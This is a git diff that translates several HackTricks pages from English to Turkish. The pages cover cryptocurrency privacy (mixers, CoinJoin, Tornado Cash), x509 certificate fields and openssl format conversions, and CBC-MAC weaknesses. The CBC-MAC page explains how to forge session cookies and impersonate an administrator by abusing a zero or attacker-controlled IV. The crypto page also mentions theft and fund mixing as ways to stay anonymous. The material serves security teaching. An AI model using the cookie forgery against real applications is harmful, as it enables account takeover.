+- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Karıştırma Hizmetleri -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu, madencilerden gelen fonlarla işlemleri anonimleştirir. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez hale getirir. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar -# Best Practices for Privacy in Cryptocurrencies +## **Cüzdan Senkronizasyon Teknikleri** -## **Wallet Synchronization Techniques** +Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir. +- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Anonimlik için Tor Kullanımı** -## **Utilizing Tor for Anonymity** +Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Adres Yeniden Kullanımını Önleme** -## **Preventing Address Reuse** +Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **İşlem Gizliliği için Stratejiler** -## **Strategies for Transaction Privacy** +- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsiz hale getirerek gizlilik saldırılarını engelleyebilir. +- **Değişiklikten kaçınma**: Değişiklik çıktısı gerektirmeyen işlemleri tercih etmek, değişiklik tespit yöntemlerini bozarak gizliliği artırır. +- **Birden fazla değişiklik çıktısı**: Değişiklikten kaçınmak mümkün değilse, birden fazla değişiklik çıktısı oluşturmak yine de gizliliği artırabilir. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Anonimlik Işığı** -# **Monero: A Beacon of Anonymity** +Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gaz ve İşlemler** -# **Ethereum: Gas and Transactions** +## **Gazı Anlamak** -## **Understanding Gas** +Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **İşlemleri Gerçekleştirme** -## **Executing Transactions** +Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Referanslar - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..2b072a9ed 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Sertifikalar {{#include ../banners/hacktricks-training.md}} -
+## Sertifika Nedir -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Bir **açık anahtar sertifikası**, birinin bir açık anahtara sahip olduğunu kanıtlamak için kriptografide kullanılan dijital bir kimliktir. Anahtarın detaylarını, sahibinin kimliğini (konu) ve güvenilir bir otoriteden (verici) dijital bir imzayı içerir. Yazılım vericiyi güvenilir buluyorsa ve imza geçerliyse, anahtarın sahibiyle güvenli iletişim mümkündür. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate_authority) (CA'lar) tarafından [açık anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Diğer bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dır; burada kullanıcılar birbirlerinin anahtarlarını doğrudan doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509) olup, RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir. -## What is a Certificate +## x509 Ortak Alanlar -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509 Sertifikalarında Ortak Alanlar** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik roller oynar. Bu alanların bir dökümü: -## x509 Common Fields +- **Sürüm Numarası**, x509 formatının sürümünü belirtir. +- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi (CA) sisteminde benzersiz olarak tanımlar, esasen iptal takibi için kullanılır. +- **Konu** alanı, sertifikanın sahibini temsil eder; bu bir makine, birey veya organizasyon olabilir. Detaylı kimlik bilgilerini içerir: +- **Ortak İsim (CN)**: Sertifika tarafından kapsanan alanlar. +- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. +- **Ayrıcalıklı İsim (DN)**, tam konu kimliğini kapsar. +- **Verici**, sertifikayı kimlerin doğruladığını ve imzaladığını detaylandırır; CA için Konu ile benzer alt alanlar içerir. +- **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığını sağlamak için **Not Before** ve **Not After** zaman damgaları ile işaretlenir. +- **Açık Anahtar** bölümü, sertifikanın güvenliği için kritik olup, açık anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. +- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır; **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ince ayar yapmak için diğer özellikleri belirtir. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Anahtar Kullanımı ve Uzantılar** +- **Anahtar Kullanımı**, açık anahtarın kriptografik uygulamalarını tanımlar; örneğin dijital imza veya anahtar şifreleme. +- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır; örneğin, TLS sunucu kimlik doğrulaması için. +- **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve bunun bir CA veya son varlık sertifikası olup olmadığını tanımlar. +- **Konu Anahtar Tanımlayıcı** ve **Otorite Anahtar Tanımlayıcı** gibi tanımlayıcılar, anahtarların benzersizliğini ve izlenebilirliğini sağlar. +- **Otorite Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, verici CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yollar sağlar. +- **CT Ön Sertifika SCT'leri**, sertifikaya kamu güveni için kritik olan şeffaflık günlükleri sunar. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**), bir istemci ve bir yanıtlayıcının, tam **CRL** indirmeye gerek kalmadan dijital kamu anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için birlikte çalışmasını içerir. Bu yöntem, iptal edilen sertifika seri numaralarının bir listesini sağlayan ancak potansiyel olarak büyük bir dosyanın indirilmesini gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) mevcuttur. -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Sertifika Şeffaflığı Nedir** -### **What is Certificate Transparency** +Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan adı sahipleri, CA'lar ve kullanıcılar tarafından görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Hedefleri şunlardır: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- CA'ların, alan adı sahibinin bilgisi olmadan bir alan için SSL sertifikası vermesini önlemek. +- Yanlış veya kötü niyetle verilmiş sertifikaların izlenmesi için açık bir denetim sistemi kurmak. +- Kullanıcıları sahte sertifikalardan korumak. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Sertifika Kayıtları** -#### **Certificate Logs** +Sertifika kayıtları, ağ hizmetleri tarafından tutulan, kamuya açık denetlenebilir, yalnızca ekleme yapılabilen sertifika kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme otoriteleri hem de kamu, bu kayıtlara sertifika gönderebilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit olmamakla birlikte, dünya genelinde binin altında olması beklenmektedir. Bu sunucular, CA'lar, ISP'ler veya herhangi bir ilgilenen taraf tarafından bağımsız olarak yönetilebilir. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Sorgu** -#### **Query** +Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumluluğu vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **Formatlar** -## **Formats** +### **PEM Formatı** -### **PEM Format** +- Sertifikalar için en yaygın kullanılan formattır. +- Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır. +- Yaygın uzantılar: .cer, .crt, .pem, .key. +- Öncelikle Apache ve benzeri sunucular tarafından kullanılır. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER Formatı** -### **DER Format** +- Sertifikaların ikili formatıdır. +- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. +- Yaygın uzantılar: .cer, .der. +- Genellikle Java platformları ile kullanılır. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7 Formatı** -### **P7B/PKCS#7 Format** +- Base64 ASCII formatında depolanır, uzantıları .p7b veya .p7c'dir. +- Sadece sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar. +- Microsoft Windows ve Java Tomcat tarafından desteklenir. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12 Formatı** -### **PFX/P12/PKCS#12 Format** +- Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır. +- Uzantılar: .pfx, .p12. +- Sertifika içe aktarma ve dışa aktarma için öncelikle Windows'ta kullanılır. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Format Dönüştürme** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM dönüşümleri**, uyumluluk için gereklidir: +- **x509'dan PEM'e** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM'den DER'e** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER'den PEM'e** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM'den P7B'ye** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7'den PEM'e** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX dönüşümleri**, Windows'ta sertifikaları yönetmek için çok önemlidir: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX'ten PEM'e** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX'ten PKCS#8'e** iki adım içerir: +1. PFX'i PEM'e dönüştür ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEM'i PKCS8'e Dönüştür ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B'den PFX'e** geçmek için de iki komut gereklidir: +1. P7B'yi CER'ye dönüştür ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CER ve Özel Anahtarı PFX'e Dönüştür ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **ASN.1 (DER/PEM) düzenleme** (sertifikalar veya neredeyse herhangi bir ASN.1 yapısıyla çalışır): +1. [asn1template](https://github.com/wllm-rbnt/asn1template/) klonlayın ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. DER/PEM'i OpenSSL'in üretim formatına dönüştürün ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. İhtiyaçlarınıza göre certificatename.tpl dosyasını düzenleyin ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. Değiştirilmiş sertifikayı yeniden oluşturun ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..7ffef06ce 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Eğer **cookie** **sadece** **kullanıcı adı** ise (veya cookie'nin ilk kısmı kullanıcı adıysa) ve "**admin**" kullanıcı adını taklit etmek istiyorsanız. O zaman **"bdmin"** kullanıcı adını oluşturabilir ve **cookie'nin ilk baytını** **bruteforce** edebilirsiniz. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Şifre blok zincirleme mesaj doğrulama kodu** (**CBC-MAC**) kriptografide kullanılan bir yöntemdir. Bu yöntem, bir mesajı alıp blok blok şifreleyerek çalışır; her bloğun şifrelemesi, bir önceki bloğa bağlıdır. Bu süreç, **blokların bir zincirini** oluşturur ve orijinal mesajın tek bir bitini değiştirmek bile, şifrelenmiş verinin son bloğunda öngörülemeyen bir değişikliğe yol açar. Böyle bir değişikliği yapmak veya geri almak için şifreleme anahtarı gereklidir, bu da güvenliği sağlar. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Mesaj m'nin CBC-MAC'ını hesaplamak için, m'yi sıfır başlangıç vektörü ile CBC modunda şifreler ve son bloğu saklarsınız. Aşağıdaki şekil, bir bloktan oluşan bir mesajın CBC-MAC'ının hesaplanmasını tasvir etmektedir![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) gizli anahtar k ve bir blok şifre E kullanarak: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Güvenlik Açığı -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MAC ile genellikle **kullanılan IV 0'dır**.\ +Bu bir sorun çünkü 2 bilinen mesaj (`m1` ve `m2`) bağımsız olarak 2 imza (`s1` ve `s2`) üretecektir. Yani: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Sonra m1 ve m2'nin birleştirilmesiyle oluşan bir mesaj (m3) 2 imza (s31 ve s32) üretecektir: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Bu, şifreleme anahtarını bilmeden hesaplanabilir.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +**Administrator** ismini **8bayt** bloklar halinde şifrelediğinizi hayal edin: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +**Administ** (m1) adında bir kullanıcı adı oluşturabilir ve imzayı (s1) alabilirsiniz.\ +Sonra, `rator\00\00\00 XOR s1` sonucunu kullanarak bir kullanıcı adı oluşturabilirsiniz. Bu, `E(m2 XOR s1 XOR 0)` üretecektir ki bu da s32'dir.\ +Artık s32'yi **Administrator** tam adı için imza olarak kullanabilirsiniz. -### Summary +### Özet -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. **Administ** (m1) kullanıcı adının imzasını alın, bu s1'dir. +2. **rator\x00\x00\x00 XOR s1 XOR 0** kullanıcı adının imzasını alın, bu s32'dir. +3. Cookie'yi s32 olarak ayarlayın ve bu, **Administrator** kullanıcısı için geçerli bir cookie olacaktır. -# Attack Controlling IV +# IV'yi Kontrol Etme Saldırısı -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Kullanılan IV'yi kontrol edebiliyorsanız, saldırı çok kolay olabilir.\ +Eğer cookie sadece şifrelenmiş kullanıcı adıysa, "**administrator**" kullanıcısını taklit etmek için "**Administrator**" kullanıcısını oluşturabilir ve onun cookie'sini alabilirsiniz.\ +Şimdi, IV'yi kontrol edebiliyorsanız, IV'nin ilk baytını değiştirebilir ve **IV\[0] XOR "A" == IV'\[0] XOR "a"** yaparak **Administrator** kullanıcısı için cookie'yi yeniden üretebilirsiniz. Bu cookie, başlangıç **IV** ile **administrator** kullanıcısını **taklit etmek** için geçerli olacaktır. -## References +## Referanslar -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Daha fazla bilgi için 